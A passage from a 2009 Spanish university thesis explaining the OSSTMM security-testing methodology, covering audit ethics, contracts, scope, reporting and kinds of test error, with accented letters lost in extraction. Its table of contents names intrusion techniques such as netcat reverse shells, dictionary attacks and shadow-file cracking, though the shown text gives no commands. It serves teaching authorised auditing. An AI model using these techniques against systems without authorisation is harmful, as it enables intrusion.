Auditoras de Seguridad

Informtica y la OSSTMM
Autor:
Alberto Hervalejo Snchez
Director: Dr. Miguel Snchez Lpez, Jose Selvi Sabater

Proyecto
Final
de
Carrera
presentado
en
la
Universidad
Politcnica de Valencia para la
obtencin del ttulo de Ingeniero en
Informtica
Valencia, Julio 2009

Pgina 1

Pgina 2

ndice de contenido
Notas del autor.................................................................................................................................6
Introduccin.....................................................................................................................................6
Parte 1: Documento OSSTMM............................................................................................................8
Aclaraciones previas........................................................................................................................9
Prlogo.............................................................................................................................................9
Introduccin...................................................................................................................................10
mbito o Alcance..........................................................................................................................11
Propsito....................................................................................................................................11
Acreditacin..............................................................................................................................11
Trminos y definiciones.................................................................................................................11
Trminos generales...................................................................................................................12
Conformidad..................................................................................................................................12
Reglas de compromiso:..................................................................................................................13
Ventas y marketing....................................................................................................................13
Evaluacin/Entrega estimada....................................................................................................13
Contratos y negociaciones........................................................................................................14
mbito......................................................................................................................................14
Plan de trabajo...........................................................................................................................14
Proceso del test..........................................................................................................................14
Informes....................................................................................................................................15
Proceso...........................................................................................................................................15
Mapa de Seguridad........................................................................................................................17
Lista de mdulos del mapa de seguridad..................................................................................17
Evaluacin de riesgos....................................................................................................................17
Evaluacin de riesgos................................................................................................................17
Seguridad perfecta:...................................................................................................................18
Mtricas de seguridad....................................................................................................................18
Aplicando Risk Assessment Values..........................................................................................18
Seguridad real.......................................................................................................................19
Seguridad operacional (OPSEC)..........................................................................................19
Controles..............................................................................................................................20
Tipo A.......................................................................................................20
Tipo B.......................................................................................................21
Limitaciones.........................................................................................................................21
Seguridad real.......................................................................................................................23
Secciones y mdulos......................................................................................................................23
Metodologa...................................................................................................................................24
Seccin A Seguridad de la informacin......................................................................................24
1. Revisin de la inteligencia competitiva................................................................................24
2. Revisin de la privacidad......................................................................................................26
3. Recoleccin de documentos..................................................................................................26
Seccin B Seguridad de los procesos.........................................................................................27
1. Testeo de Solicitud................................................................................................................27
2. Testeo de sugerencia guiada..................................................................................................29
3. Testeo de las Personas Confiables.........................................................................................33
Seccin C Seguridad en las Tecnologas de Internet..................................................................34
1. Sondeo de la Red...................................................................................................................34
2. Escaneo de Puertos................................................................................................................37
Pgina 3

3. Identificacin de Servicios....................................................................................................37
4. Identificacin del Sistema.....................................................................................................37
5. Bsqueda de Vulnerabilidades y Verificacin.......................................................................38
6. Testeo de Aplicaciones de Internet........................................................................................39
7. Testeo del Router...................................................................................................................40
8. Testeo de Sistemas de Confianza..........................................................................................43
9. Testeo de Firewall.................................................................................................................43
10. Testeo de Sistemas de Deteccin de Intrusos......................................................................43
11. Testeo de Medidas de Contencin.......................................................................................45
12. Password Cracking..............................................................................................................45
13. Testeo de Denegacin de Servicio......................................................................................46
14. Revisin de las Polticas de Seguridad...............................................................................47
Seccin D Seguridad en las Comunicaciones.............................................................................48
1. Testeo de PBX.......................................................................................................................48
2. Testeo de Buzn de Voz/Contestador....................................................................................49
3. Revisin de los faxes.............................................................................................................50
4. Testeo de Mdems.................................................................................................................51
Seccin E Seguridad Wireless....................................................................................................53
1. Testeo de Radiacin Electromagntica.................................................................................53
2. Testeo de Redes Wireless......................................................................................................54
3. Testeo de Redes Bluetooth....................................................................................................55
4. Testeo de Dispositivos Inalmbricos.....................................................................................57
5. Testeo de Dispositivos Inalmbricos de Mano......................................................................58
6. Testeo de Comunicaciones Inalmbricas..............................................................................58
7. Dispositivos de Vigilancia Inalmbricos...............................................................................59
8. Dispositivos de Transacciones inalmbricas.........................................................................60
9. Testeo de RFID.....................................................................................................................60
10. Testeo de Infrarrojos...........................................................................................................62
11. Revisin de privacidad........................................................................................................63
Seccin F Seguridad Fsica.........................................................................................................63
1. Revisin de Permetro...........................................................................................................63
2. Revisin de Monitorizacin..................................................................................................63
3. Testeo de Controles de Acceso..............................................................................................63
4. Revisin de Respuesta ante Alarma......................................................................................63
5. Revisin de Localizacin......................................................................................................63
6. Revisin del Entorno.............................................................................................................64
Parte 2: Conceptos Tcnicos...............................................................................................................65
Introduccin...................................................................................................................................66
Introduccin a Backtrack y justificacin.......................................................................................66
Instalacin del ambiente de pruebas..............................................................................................66
Backtrack servicios bsicos...........................................................................................................67
Cambiar la contrasea que viene por defecto en BackTrack. ..................................................67
Configuracin y puesta en marcha los servicios bsicos de BackTrack. .................................67
Puesta en marcha de servidor SSH...........................................................................................68
Servidor Web.............................................................................................................................69
Servidor atftpd...........................................................................................................................69
Servidor VNC............................................................................................................................70
Backtrack Netcat............................................................................................................................71
Identificando Banners de Servidores web.................................................................................73
Modo Listen de Netcat..............................................................................................................74
Pgina 4

Envo de archivos......................................................................................................................75
Administracin remota..............................................................................................................76
Shell inversa..............................................................................................................................77
Test de penetracin........................................................................................................................77
Introduccin..............................................................................................................................78
Escaneo e identificacin del sistema.........................................................................................78
NMAP..................................................................................................................................78
Introduccin.....................................................................................................................78
Host discovery.................................................................................................................79
Escaneo de puertos..........................................................................................................80
Errores.............................................................................................................................80
Mquinas online..............................................................................................................82
Exploracin inicial de la mquina 192.168.1.100...........................................................82
Verificacin de puertos abiertos con servicios escuchando.............................................86
Recoleccin de informacin.................................................................................................89
Ataques de diccionario.........................................................................................................89
Nombres de usuario.........................................................................................................90
Diccionarios.....................................................................................................................90
xHydra.............................................................................................................................90
Exploracin del sistema........................................................................................................94
Escalada de privilegios.........................................................................................................95
Descifrando Shadow.............................................................................................................95
Valoraciones finales.......................................................................................................................97
Valoracin primer taller............................................................................................................97
Valoracin del segundo taller....................................................................................................97
Parte 3: Conclusiones y cierre del Proyecto.......................................................................................99
Conclusiones y cierre...................................................................................................................100
Bibliografa..................................................................................................................................101

Pgina 5

Notas del autor

Desde bien joven, me ha fascinado la informtica. Ha sido una parte bastante importante en la
generacin de los 80, donde el surgir de los videojuegos, la informtica, y ms tarde Internet, nos ha
mantenido siempre expectantes de las nuevas tecnologas, y conviviendo con ellas desde bien
pequeos.
Con la aparicin de Internet, y los medios informativos tratando de hacer noticia de la misma, ha
surgido constantemente el tema de los hackers, esos piratas informticos que aparecan con
capuchas en cuartos oscuros, y que conseguan asaltar bancos por medio de los ordenadores, o las
leyendas urbanas de jvenes que conseguan asaltar el pentgono u otras organizaciones de
inteligencia.
Siempre me he mostrado escptico en torno a estos asuntos tan clandestinos, aunque no puedo
evitar negar que siempre he sentido curiosidad. Cmo conseguan hacer esas cosas que parecen de
ciencia ficcin? Ha habido muchas pelculas que adems han tratado de endulzarlo y maquillarlo
para mantener al espectador en vilo, y tratar de vender en taquilla.
Y ha sido estudiando la carrera de informtica cuando ha aparecido la oportunidad de hacer de esa
curiosidad una profesin: las auditoras de seguridad informtica. Poder aprender a realizar esto,
para ayudar a la sociedad contra estas personas que deseaban utilizar estos conocimientos con fines
fraudulentos. Poder luchar contra el robo, el fraude, la pornografa infantil etc...
Tras haber trabajado en una empresa de seguridad informtica, supe que quera aprender sobre todo
este mundo difcil, donde hay que mantenerse al da. Un mundo que es complicado de aprender, ya
que existe mucha fantasa y exceso de informacin por la red, llena de informacin desfasada y
muchas veces con fines maliciosos.
Es por todo esto, que, aprovechando el tener que realizar un proyecto final de carrera, haya
aprovechado esta oportunidad para aprender todo lo que pudiera sobre el tema, y ayudar a gente,
que venga detrs de m, a aprender lo que yo he aprendido. Explicar desde un punto de vista de un
ingeniero informtico que desea hacer de la seguridad su profesin todo lo posible sobre auditoras
de seguridad informtica.

Introduccin
La seguridad de las TI es un tema frecuente al que se enfrentan las empresas en estos ltimos
meses. Se ha hablado de fallos de seguridad incluso en medios de comunicacin no especializados,
por ejemplo del fallo en el protocolo DNS
[http://www.elpais.com/articulo/internet/fallo/peor/temido/elpeputec/20080807elpepunet_7/Tes]
(que tanta repercusin ha tenido)y el del no tan conocido BGP
[http://www.elpais.com/articulo/internet/Internet/deja/abierta/puerta/espias/elpeputec/20080827elpe
punet_5/Tes], lo cual hace ver, la importancia que est tomando la seguridad en la sociedad actual, y
sobre todo en la de las empresas.

Situndonos en este escenario, el proyecto que voy a realizar se centrara en

auditoras de seguridad informtica (en especial, de vulnerabilidades y tests de
intrusin), tomando como referencia, la metodologa descrita por ISECOM
[http://www.isecom.org/] : la Open Source Security Testing Methodology Manual (OSSTMM a
Pgina 6

partir de ahora). Teniendo en cuenta, que sta es, quizs la metodologa ms

extendida en el campo, siendo adems abierta, me ha resultado interesante tomarla
como referencia.
La primera pregunta que debemos responder antes de adentrarnos en el proyecto, es: Que es una
auditora de seguridad? Que es un test de intrusin?
Una auditora de seguridad, es el anlisis y estudio de un sistema, para intentar conocer las
limitaciones de un sistema (vulnerabilidades, debilidades, preocupaciones etc.. segn OSSTMM),
para posteriormente poder corregirlas.

Un test de intrusin, se considera una como un tipo de auditora de seguridad, donde

las vulnerabilidades que se buscan, son aquellas que permitiran el acceso al sistema
de alguien no autorizado, para comprobar la resistencia que ofrece el sistema ante
este tipo de ataques.

Pgina 7

Parte 1: Documento OSSTMM

Pgina 8

Aclaraciones previas
Esta parte del presente documento, no pretende ser una traduccin de la versin pblica ms
actualizada de la Open Source Security Test Methodology Manual (OSSTMM de ahora en
adelante). Tampoco pretende ser una metodologa que la sustituya, ni pretende ser un documento
legal u oficial. Se pretende, pues, que sea un documento de consulta, para aquellas personas que
deseen enfrentarse a una metodologa de seguridad informtica por vez primera, y que, tras
enfrentarse al crudo (y en ocasiones demasiado correcto) lenguaje de una metodologa, quieran un
acercamiento previo, con un lenguaje ms propio de un ingeniero en informtica. Sin embargo,
tampoco se pretende ahondar en cuestiones tcnicas (refirindonos por tcnicas a las herramientas
que habr de usarse), sino en que el lector pueda encontrar ejemplo y explicaciones de lo que se
encuentra en cada seccin. Se aadirn casos con los que el autor de este documento se ha
encontrado en su investigacin para la realizacin del mismo, y se incluirn aquellas partes de la
OSSTMM que se crean oportunas para la comprensin de la misma.
Se pretende tambin, seguir el orden y secciones de la OSSTMM, aunque en algunas ocasiones se
pueda omitir alguna seccin que el autor considere que no sea importante resaltar. Es por ello, que
se recomienda al lector, leer el presente documento con una copia de la OSSTMM al lado para
poder ir comprobando, punto a punto, las secciones incluidas, y las no incluidas.
A continuacin, se presenta la primera seccin de la OSSTMM, el prlogo.

Prlogo
El testeo metdico de seguridad es distinto de los tests de penetracin. Es una combinacin de
creatividad, el constante conocimiento de nuevas buenas prcticas y de amenazas conocidas. Es
llevar las cosas hasta el extremo, a los peores casos, para asegurarnos de que esas buenas
prcticas son realmente buenas prcticas. Es el conocer que sucedera con situaciones que damos
por controladas, y que generalmente, prevemos que no van a ir mal, y llevarlas al extremo. Se trata
de asegurarnos de que en esos extremos, el sistema sigue comportndose tal y como esperaramos
que lo hiciera. Comprobar qu sucede si un intruso se hiciera pasar por alguien de la organizacin,
cmo se comportara un sistema ante la llegada masiva de datos, qu sucede si se cortase el
suministro elctrico... Debemos preguntarnos qu sucede si forzamos la seguridad al mximo, y
comprobar donde aparecen las mayores deficiencias o debilidades. En qu circunstancias aparecen
stas?

Cuando testear es tan importante como qu y por qu testear:

No es lo mismo comprobar que has cerrado la puerta de tu casa antes de salir de vacaciones que
al volver. Lo mismo sucede con las auditorias de seguridad informtica. Debemos hacerlas antes
de que las cosas malas sucedan. Es mejor prevenir que curar.

Preocuparse de los detalles, porque todo est en los detalles:

Es en los detalles donde se encuentran los mayores fallos de seguridad. Quizs un solo detalle
no sea especialmente determinante, pero la suma de todos ellos hace de ellos un gran problema.
Pgina 9

Adems, son estos pequeos detalles (por ejemplo, que un programa no compruebe una entrada
de datos), que no son visibles, donde un hacker malintencionado encontrar la puerta de entrada,
ya que todo aquello que no son detalles son fcilmente encontrados, y por tanto, solucionados.

Eficiencia y creatividad:
Aunque el presupuesto sea bajo, debemos intentar que el poco tiempo que podamos dedicar al
testeo sea lo ms eficiente posible. As podremos justificar bien nuestro trabajo. Las
organizaciones vern que lo que han pagado por los servicios prestados realmente sirven de
algo, y muchas ms organizaciones querrn hacerlo. Hay que trabajar de forma ordenada,
tenerlo todo preparado para antes de empezar, y trabajar de forma profesional y rpida. Muchas
empresas ven las auditoras como un gasto, quizs no intil, pero no tan importante como lo
pueda ver un auditor, y suelen invertir poco dinero en ello.

Jams subestimes las polticas de seguridad

Todas tienen su funcin, y si no se siguen, los objetivo de la empresa (que al fin y al cabo, los
objetivos de la empresa se alcanzan gracias a polticas) no se cumplirn nunca. Si por ejemplo,
no se cumpliese una poltica que dijera que hay que controlar que la gente se vaya llevando
cajas o equipamiento, podra haber filtraciones de informacin, o desaparecer material
importante.

Como lo reciban los clientes depender de como se lo ofrezcas

Que riesgos estar dispuesto a correr el cliente? Sern ignorados los informes? Dado un bajo
presupuesto, se habr hecho llegar al cliente el hecho de que se ha hecho de acorde con el
presupuesto dado? Todo depender de como presentes la informacin al cliente.

Introduccin
La OSSTMM comenz all por finales del ao 2000, y creci rpidamente gracias a la experiencia
de miles de personas que contribuyeron al proyecto. Gracias al hecho de ser una metodologa libre,
los testeadores participan en un gran plan contribuyendo al movimiento open-source, y
estandarizando una metodologa que todo el mundo pudiera acceder, o a mejorar, por lo que creci
enormemente hasta convertirse en uno de los principales referentes en su campo hoy en da.
Originariamente, perteneci al dominio ideahamster.org, que ms adelante pas a ser el actual
ISECOM (Institute for Security and Open Methodologies). En 2003, ISECOM estuvo registrada
como como una organizacin sin nimo de lucro en Espaa y en los EEUU. Hasta ahora, la
OSSTMM trataba solamente una forma de hacking tico, pero en 2005, pas a ser una forma de
verificar que la seguridad se estaba tratando de forma correcta a nivel operacional, y en 2006, este
manual pas a ser el estndar para aquellos que necesitaran una seguridad ms all del que la
legislacin y regulaciones ofreciesen.
Un punto importante de la OSSTMM, es el tener en cuenta que el objetivo del manual, es crear un
solo mtodo para realizar pruebas de seguridad en profundidad. Es un conjunto de pasos que deben
ser realizados una y otra vez, hasta que los resultados esperados se obtengan. No es la idea (ni se
encontrar en ninguna otra parte) el recomendar al auditor el utilizar esta metodologa como un
diagrama de flujos o utilizarla como una serie de pasos con un cierto orden formal, sino
simplemente haber completado y revisado todos los pasos que se contemplan, en el tiempo
establecido.
Algo en lo que esta metodologa hace hincapi, es el hecho de que muchos testeadores de seguridad
Pgina 10

creen que los tests de seguridad son una fotografa del punto actual de seguridad en el sistema. El
tener una visin actual y puntual de como es el sistema en ese momento. Pero... es esta
fotografa suficiente? La metodologa intenta enriquecerlas con los llamados Risk Assessment
Values o Valores de Evaluacin de Riesgos (de ahora en adelante RAVs), que proporcionarn
informacin extra en contextos tales como frecuencias y tiempos al test de seguridad. La
fotografa se convertir en un perfil o Profile abordando un rango de variables a lo largo de un
periodo de tiempo antes de degradarse por debajo de los niveles de riesgo aceptable. Estos RAVs y
Profiles se explicarn con detalle en su seccin correspondiente.
Por ltimo, otro de los objetivos de la metodologa es que pueda evitarse, que el estilo personal,
asunciones falsas, o prejuicios de los testeadores intervengan en los resultados del test. El uso de
una metodologa igual para todo el mundo, conseguir la imparcialidad de los tests, y por lo tanto,
que tengamos una base comparable entre sistemas, pudiendo as comparar unos con otros, y
graduarlos.

mbito o Alcance
Propsito
Como ya se ha comentado antes, el principal objetivo o propsito es el ofrecer una metodologa
cientfica a los tests de seguridad, pero adems, ofrece una gua a los auditores para realizar una
auditoria OSSTMM certificada. Esta gua existe para asegurar que:
La prueba se ha realizado con detalle.
La prueba incluye todos los canales necesarios.
Que se haya realizado con concordancia con los derechos civiles
Que los resultados sean cuantificables.
Que los resultados sean consistentes y repetibles.
Que los resultados contengan slo hechos derivados de los mismos tests y nada ms.

Acreditacin
Como hemos dicho, se puede realizar una auditoria OSSTMM certificada. Para ello, se requiere un
informe de auditoria de la OSSTMM firmada por el testeador o analista que cumpla los requisitos
de informes. Estos informes, junto con una versin annima del informe de auditoria remitida a
ISECOM para revisin proporcionar una certificacin, que entre otras ventajas, har responsable al
auditor y servir de prueba del test, y por tanto algo que probar que el sistema ha superado el
control de calidad de seguridad de OSSTMM, lo cual siempre ser deseable para cualquier
empresario.

Trminos y definiciones

Pgina 11

Trminos generales
Escaneo

de vulnerabilidades: se refiere a la bsqueda automatizada de amenazas conocidas en un

sistema o sistemas en una red. Es la bsqueda de fallos en aplicaciones, sistema operativo etc... de
forma automatizada. Podra ser un ejemplo, el lanzar Nessus en busca de fallos en el sistema.
Escaneo de seguridad: generalmente, se refiere a una bsqueda mucho ms activa que un escaneo
automatizado de vulnerabilidades. Aqu, adems, se incluye la verificacin de falsos positivos,
identificacin de debilidades en la red y su anlisis.
Test de penetracin o intrusin: generalmente se refiere a la obtencin de los conocidos como
trofeos (obtener algn tipo de objetivo/activo simblico que har las veces de meta) e incluye el
ganar acceso privilegiado.
Evaluacin de riesgos: anlisis de seguridad a travs de entrevistas e investigacin de nivel
medio, que incluye la justificacin de negocios, legales y especficas de la industria. Es el estudio
de la magnitud de un dao junto con la probabilidad de que ste ocurra. Este punto es algo en lo que
se hace hincapi en la metodologa, y se ver ms adelante con detalle.
Auditora de seguridad: podramos extendernos mucho sobre la definicin de este trmino, pero
por lo que a la metodologa se refiere, se trata de la inspeccin manual con privilegios
administrativos del sistema operativo y de los programas de aplicacin del sistema o sistemas
dentro de una red o redes. Hemos de diferenciarlo pues, del resto de puntos, pues suelen
confundirse fcilmente.
Hacking tico: parecido al test de penetracin, solo que aqu no se incluye obligatoriamente el
ganar acceso privilegiado. Adems, en el hacking tico, tal y como lo entiende la OSSTMM,
incluye el realizarlo en un tiempo establecido.
Test de Seguridad y su equivalente militar: Evaluacin de Postura: lo entendemos como una
evaluacin de riesgos de sistemas y redes, realizando escaneos de seguridad y su respectivo anlisis,
comprobando tantos falsos positivos como negativos como el tiempo establecido permita. He aqu
el test completo y metdico del que vamos a exponer a lo largo de la OSSTMM.

Conformidad
Esta seccin, aunque no contiene aspectos puramente informticos, he credo que sera interesante
incluirla, pues hay algunas definiciones legales que en Espaa difieren del resto del mundo.
Adems, es posible, que a un Ingeniero en Informtica, le resulte ms interesante hacerse una idea
general de sta seccin. Para una definicin ms completa o formal, siempre se puede consultar la
propia OSSTMM o textos jurdicos.
La concordancia es el alineamiento con una serie de polticas generales. La OSSTMM reconoce
tres tipos de concordancia:
1. Legislacin: la legislacin la entendemos como la ley. En caso de no estar en conformidad
con la ley, puede llevar a cargos criminales (con pena de crcel) o sancin econmica, tal y
como estipula la Constitucin Espaola y el resto del ordenamiento jurdico. Cabe destacar,
que en la OSSTMM habla solamente de cargos criminales, sin embargo, en Espaa se
distingue tambin la sancin econmica. La OSSTMM aqu en Espaa est en conformidad
con la LOPD (Ley Orgnica de Proteccin de Datos) y la controvertida LSSICE (Ley de
Servicios de la Sociedad de Informacin) impuesta en 2002 como LSSI (llamada muchas
veces como la Gestapo Digital), que tanto dio que hablar entre los internautas. Se puede
Pgina 12

encontrar un artculo muy interesante sobre esta ley en el nmero 2 de Los Cuadernos de
HackxCrack.
2. Regulacin: en este apartado, se habla de actividades reguladas (es decir, que no hayan
lagunas), de forma que no haya miedos o reparos por parte de las organizaciones para tomar
estas acciones. Lo opuesto a lo regulado, sera lo comnmente conocido como bordear la
ley. Una empresa, siempre preferir tomar decisiones o acciones que estn reguladas para
no arriesgarse a posibles penas de crcel o sanciones econmicas.
3. Polticas: stas se conocen, muchas veces como directrices, guas, normativas, o prcticas
hacia el cumplimiento de los objetivos de una organizacin. Tambin se les suele conocer
como buenas prcticas. La OSSTMM, entre otras, est de conformidad con las
publicaciones de la NIST (National Institute of Standards and Technology), famosa por
algunos ttulos en seguridad informtica que ofrece.

Reglas de compromiso:
En esta seccin se habla de prcticas ticas, que todo aquel que realice esta metodologa debera
seguir. A personas afiliadas, compaeros, miembros del equipo o asociados a ISECOM estn
obligados bajo contrato a cumplirlas. De la versin anterior del documento a esta, se han suprimido
algunos apartados (conocidas en la anterior versin como reglas adicionales) que hacan
referencia a algunos clculos que debera de hacerse para la estimacin del tiempo y para el test de
seguridad. Recomiendo su lectura en caso de estar interesado en caso de estar interesado en un
anlisis ms metdico (aunque no viene estipulado en la presente metodologa).

Ventas y marketing
A la hora de vender nuestros servicios para realizar un test de seguridad, no debera usarse el miedo.
Tampoco debera de ofrecerse servicios gratuitos en caso de no poder penetrar en los sistemas, ni
intentar penetrar en ellos sin el consentimiento escrito del cliente. Esto, hasta ahora parece lgico
(tanto legal, como ticamente), pero algo que sorprende, es el hecho de que no pueda usarse los
nombres de antiguos clientes (ni siquiera con su consentimiento!) como forma de promocionarse,
aunque s de otras secciones de la misma organizacin. Algo que tambin suele sorprender, es la
buena prctica de no realizar concursos (o prcticas ilegales, por supuesto) de cracking, hacking etc
para promocionarse. Esto contrasta con la extendida idea de los hackers que van a la crcel, y ms
tarde encuentran trabajo en muy poco tiempo. Por ltimo, cabe decir que los clientes deberan de
conocer objetivamente el estado la seguridad y las medidas de seguridad que posee.

Evaluacin/Entrega estimada
En esta seccin, solo quiero resaltar, el hecho de que no debera de realizarse tests de seguridad
sobre sistemas obviamente poco seguros, o hasta que los sistemas de seguridad hayan sido puestos
en marcha. Esto es algo que parece obvio, sin embargo, debe ser recordado, pues poca gente se lo
plantea a la hora de realizar el test.

Pgina 13

Contratos y negociaciones
Segn la OSSTMM, y en la mayora de las dems metodologas, el auditor de seguridad debe de
mantener un compromiso fuerte con el cliente. Es de suponer, que el tratar una cuestin tan delicada
como es la seguridad, haya que definir y dejar muy claro todo lo que se va a realizar. Por ejemplo,
se le exige al auditor, confidencialidad y la no revelacin de secretos (lgico). Revelar contraseas,
infraestructuras etc.. sera peor que no realizar la propia auditora.
Por otra parte, los contratos deberan incluir limitaciones en la responsabilidad del auditor (teniendo
en cuenta el coste de la auditora, claro), a menos que hay claros indicios de mala fe. Es lgico
suponer, pues, que para que se incluya esto, el auditor debera de informar (y por supuesto esto
debera de reflejarse en el contrato) los limites y peligros del test que se va a realizar (adems de la
informacin de desde donde se va a realizar los tests, IPs, etc). Adems, en el contrato se debera
incluir personas de contacto, o un telfono de emergencia.
Otra cuestin importante, es el que deba incluirse permiso especfico para tests relacionados con
denegaciones de servicio, fallos en la supervivencia, anlisis de proceso, o ingeniera social. Estos
son muy delicados, ya que pueden implicar paradas de sistemas de produccin, o interrumpir el
funcionamiento normal del sistema.
Por ltimo, y algo que podra no parecer importante, debera de incluirse tambin, el futuro proceso
de contrato, y cambios de condiciones de trabajo.
Como vemos, el auditor, debera de asegurarse bien de que el cliente entiende lo que va a realizar, y
asegurarse de que en caso de suceder un imprevisto, todo haya sido escrito en el contrato.

mbito
Esta seccin es muy corta en la OSSTMM, pero me parece de vital importancia que se deba resaltar
claramente, los limites del alcance del test, y no comenzar el test, antes de dejar todo esto definido
en el contrato.

Plan de trabajo
En esta seccin, se habla del plan que el auditor debera de confeccionar para realizar el test. En el
se debera incluir el tiempo dedicado, tanto en fechas como horas de trabajo, incluyendo tanto el
tiempo del test en s, como su anlisis.
Comparando esta seccin de la OSSTMM (la 2.2) con la versin anterior, en esta seccin se ha
incluido el que el plan de testeo no debe incluir planes, procesos, tcnicas o procedimientos que
estn fuera del rea de competencia obtenido por entrenamiento y educacin del auditor. Esto
parece estar en concordancia con el espritu del documento, ya que en l, no se incluyen
herramientas, ni comandos a utilizar, intentando no inmiscuirse en aspectos tcnicos.

Proceso del test

Esta seccin ha cambiado mucho desde la ltima versin de la metodologa, y ha pasado a ser la
ms extensa (dentro de las reglas de compromiso).
En sta, se habla de las buenas prcticas que debe de tomar el auditor durante el test o auditora en
s. Me gustara destacar, algunos puntos (aunque no por ello han de ser ms importantes que los que
Pgina 14

no hago referencia), que me llaman la atencin. Por ejemplo, el hecho de que no debera permitirse
grandes cambios de objetivos por parte del cliente, protegindose as, al auditor, de tener que salir
constantemente de sus planes por, si se me permite la expresin, caprichos del cliente. Adems, se
le har firmar al cliente un consentimiento para eximir al auditor de daos ocasionados durante la
auditora, o de allanamiento, a menos que haya mala fe durante la auditora.
Otro punto que me gustara resaltar, es el de que la metodologa dice que no debera subirse los
niveles de seguridad durante la auditora, y para ello, solamente se debera de avisar a algunas
personas sobre el test.
Si el test se realiza con algn tipo de privilegios, primeramente, debera realizarse sin ninguno, y
despus, debera de darse dos accesos distintos (por ejemplo, dos passwords de reas distintas)
tpicos, ni ms ni menos seguros que los que se usan de forma regular.
Por ltimo, creo importante resaltar, el que las grietas de seguridad importantes encontradas,
deberan de ser notificadas inmediatamente al cliente.

Informes
En esta seccin se incluye, en su mayora prcticas de sentido comn (aunque nunca est de ms
recordarlo) como temas de privacidad, objetividad etc.. que recomiendo leer al menos una vez, para
preguntarnos si realmente lo hemos cumplido.
Como puntos a destacar:
Si en alguna investigacin o prueba, hemos de hacer mencin de alguna persona que no est
entrenada en seguridad, o no perteneciente al personal de seguridad, solamente debera mencionarse
en forma de estadsticas o sin identificarlo.
En los informes, deberan incluirse tanto las medidas de seguridad fallidas como las que no,
adems de las anomalas e incgnitas encontradas durante la exploracin. Es decir, debemos,
adems de informar del trabajo que hemos realizado, nuestros lmites o trabajo no realizado.
Antes de enviar el informe, deberamos informar al cliente de que vamos a hacerlo, y establecer un
canal seguro para su entrega. Sera fatdico que, despus de todo el trabajo realizado, se echara a
perder porque los informes cayeran en manos equivocadas.

Proceso
El proceso del testeo, est considerado como un evento de test discreto de un sistema dinmico y
estocstico. Por estocstico, entendemos aquel sistema que funciona, sobre todo por el azar. Con
esto no nos referimos a la indeterminacin de los sistemas informticos, sino a la gran cantidad e
variables que interactan las unas con las otras. Y no nos referimos nicamente a la interaccin
entre distintas mquinas, sino tambin a su entorno. A pesar de que podamos tal vez, adivinar el
estado futuro del sistema bajo ciertas condiciones, o de su entorno (por ejemplo, podemos saber que
en un pas cercano al ecuador har ms calor que en uno nrdico), nunca podremos estar
completamente seguros de ello.
Un test discreto examina el estado de este sistema dinmico en periodos de tiempo discreto.
Monitorizar tareas de forma contnua dejara de ser prctico (demasiada informacin, coste
computacional y espacial... etc).
Teniendo esto en cuenta, el auditor intentar abordar el sistema de una forma distinta a la que el que
lo implement pensaba: poner el sistema al limite, simular situaciones anmalas para comprobar
que el sistema realiza las funciones que se supone que debera de realiza. El auditor simula las
Pgina 15

condiciones de esas situaciones, y monitoriza para comprobar los resultados. Sin embargo, no
debemos fiarnos al 100% de estos datos obtenidos, ya que muchas veces pueden aparecer errores,
algunos de ellos devastadores para el objetivo.
Estos errores son:
1

Falso positivo

Este tipo de errores se dan cuando se detecta un error que

en realidad no existe. Por ejemplo, que se detecte un DoS
cuando en realidad, es que se ha reintentado la conexin
muchas veces.

Falso negativo

Es el opuesto al falso positivo: aqu no se detecta nada,

cuando en realidad s debera de detectarse. Por ejemplo,
el antivirus no detecta un virus en el sistema.

Gray positive

Esto se obtiene, cuando el sistema est preparado para

responder que siempre est en un estado concreto, tenga el
estado que tenga. En ocasiones, las herramientas detectan
un estado, y el auditor podra tomarlas por ciertas. Un
ejemplo, sera que la wifi mostrara que est abierta
siempre, cuando en realidad se est filtrando por MAC.

Gray negative

Opuesto al gray positive. Es cuando el sistema est

preparado para responder que no est en un estado
concreto, y esto no es cierto. Por ejemplo, que siempre
conteste que sus puertos no estn abiertos.

Specter o espectral

Este tipo de error se obtiene, cuando se toma por cierto un

estado cuando en realidad no se puede saber su estado. Por
ejemplo, cuando el auditor recibe un estado de fuera, y se
percibe como que es de la mquina analizada. Un error
comn, es suponer que la respuesta de un eco se deba a la
propia peticin. Debemos de tener cuidado con estos
errores, ya que podemos obtener una relacin de causaefecto equivocada.

Indiscretion o indiscrecin

Este es un tipo de error que se obtiene cuando el estado del

objetivo cambia a lo largo del tiempo, y no necesariamente
siguiendo un patrn.

Error de entropa

Es cuando se obtiene una relacin ruido/seal muy alta,

haciendo que el auditor no pueda determinar el estado del
objetivo.

Falsificacin

Este tipo de error, se obtiene cuando se est intentando

averiguar el estado de un objetivo, pero ste depende otras
variables que estn predispuestas a mostrar una imagen
determinada, aunque no sea la real. Estn relacionados con
los gray positive/negative.

Error de muestreo

Ocurre cuando obtenemos muestras sesgadas del sistema,

por ejemplo, que al auditor se le hace tomar las muestras
en un momento determinado, cuando las medidas de
seguridad son ms altas, dando pie a que se piense que
Pgina 16

siempre son as de altas.

10

Restriccin

El error se da cuando no se reconocen restricciones o

limitaciones impuestas, ya sea para el equipamiento, o los
sentidos del auditor.

11

Propagacin

El auditor no realiza una prueba porque presupone lo que

va a obtener. Tambin puede ser porque las herramientas
estn modificadas o calibradas para obtener esos
resultados. El peligro de este tipo de errores, es, como
indica su nombre, que puedan propagarse, y no hacerse
visibles hasta bien entrada la auditora.

12

Error humano

Son causados por la falta de habilidad o experiencia. Un

auditor con experiencia tiene ms probabilidad de cometer
un error de propagacin, mientras que uno novel, es ms
propenso a cometer errores humanos.

Muchos de estos tipos de errores, no se suelen utilizar habitualmente dentro del mundo de la
seguridad informtica. Los ms comunes son los falsos positivos/negativos o el error humano. El
resto, la metodologa los incluye, y deben de conocerse si se quiere seguir la metodologa de forma
precisa.

Mapa de Seguridad
No voy a extenderme mucho en esta seccin y subsecciones, ya que simplemente presenta una lista
de mdulos y un diagrama que me parece muy claro en el documento original. Sin embargo, hay un
par de puntos interesantes:
El

primero, es que a pesar de que hay una serie de mdulos claramente especificados, estn todos
relacionados, por lo que al hacer pruebas en uno de ellos, se est comprobando algunas partes de
otro.
El segundo, es que para que pueda decirse que se ha realizado un test de seguridad de la OSSTMM
para una Seccin en particular, todos los mdulos de la seccin tienen que haber sido comprobados,
y si en la infraestructura estudiada no existe un objetivo para un mdulo, entonces se deber
determinar como no aplicable en las tablas al final del documento, que debern de ser entregadas
como parte del informe final.

Lista de mdulos del mapa de seguridad

Ver documento OSSTMM 2.2 original.

Evaluacin de riesgos
Evaluacin de riesgos

Pgina 17

Segn la OSSTMM, riesgo significa que, el limitar la seguridad tenga un efecto perjudicial en las
